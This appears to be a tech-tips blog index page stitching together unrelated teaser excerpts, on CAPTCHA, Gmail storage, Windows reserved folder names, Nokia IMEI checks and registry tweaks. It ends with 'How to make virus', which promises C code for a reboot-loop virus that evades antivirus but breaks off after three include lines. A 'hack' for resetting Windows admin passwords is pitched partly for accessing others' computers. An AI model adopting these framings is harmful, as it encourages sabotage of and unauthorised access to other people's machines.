What is CAPTCHA and How it Works?

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.

Gmail Drive guide to use Gmail space as online storage drive

Gmail is really famous among users of all the email clients available on the web and that is not because it has a cool interface rather it is famous for its reliability and huge space which includes storage space of 6000 megabytes  and increasing. Google doesn’t stop here and recently Google announced that users can now buy more online storage for Google services just by paying a little amount. So why not use this online storage space and use it externally probably as a network drive or one of your own computer hard drives.

World’s Tallest iPod Dock Worth $565k Sports Stereo System and Ladder

From this luxury iDevice accessory, you’d exactly know how crowded the market on products trying to ride the popularity of Apple devices. Take this behemoth 11-foot tall AeroDream One Dock by Michel Jarre, a known entrepreneur and musician as a perfect example of getting big time from the start. Now we’re not talking about the largest and expensive iPhone case.

How to Create a CON folder in Windows?

Can you create a folder named “con”, “prn”, “nul” “com1″ “com2″ “lpt1″ etc. in windows ?

The answer is NO and YES!

NO because when create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to “New Folder” no matter you try any number of times. Where as in Windows Vista/7 when you try to rename the file you get an error message “The specified device name is invalid”.

What is the reason for this? Simple, these names represent the internal devices and hence we cannot create folders with the above names.

 

Is your Nokia Cell Phone Original ?

Nokia is one of the largest selling phones across the globe. Most of us own a Nokia phone but are unaware of it’s originality. Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI(International Mobile Equipment Identity) number confirms your phone’s originality.

Press the following on your mobile *#06# to see your Phone’s IMEI number(serial number).

Then check the 7th and 8th numbers

Trick to Disable Send To Option From Right Click Menu

You must have seen Send To option when you right click on any file/folder. This Send To option helps you to send your files/folders from one location (drive) to another. This also acts as a shortcut key to send files to any external storage media (Pen Drive, Memory Card). But by this trick you can alsoDisable this feature by making changes in window’s Registry settings. Now if someone try to get any data from your computer he/she should have to copy/paste the data rather than to use this Send Tooption.

Trick to Disable Send To option on Right Click in Context Menu:-

• Type Run in the start up search box and press enter or press Win+R.
• Type Regedit and click OK.

How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

How to make virus

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>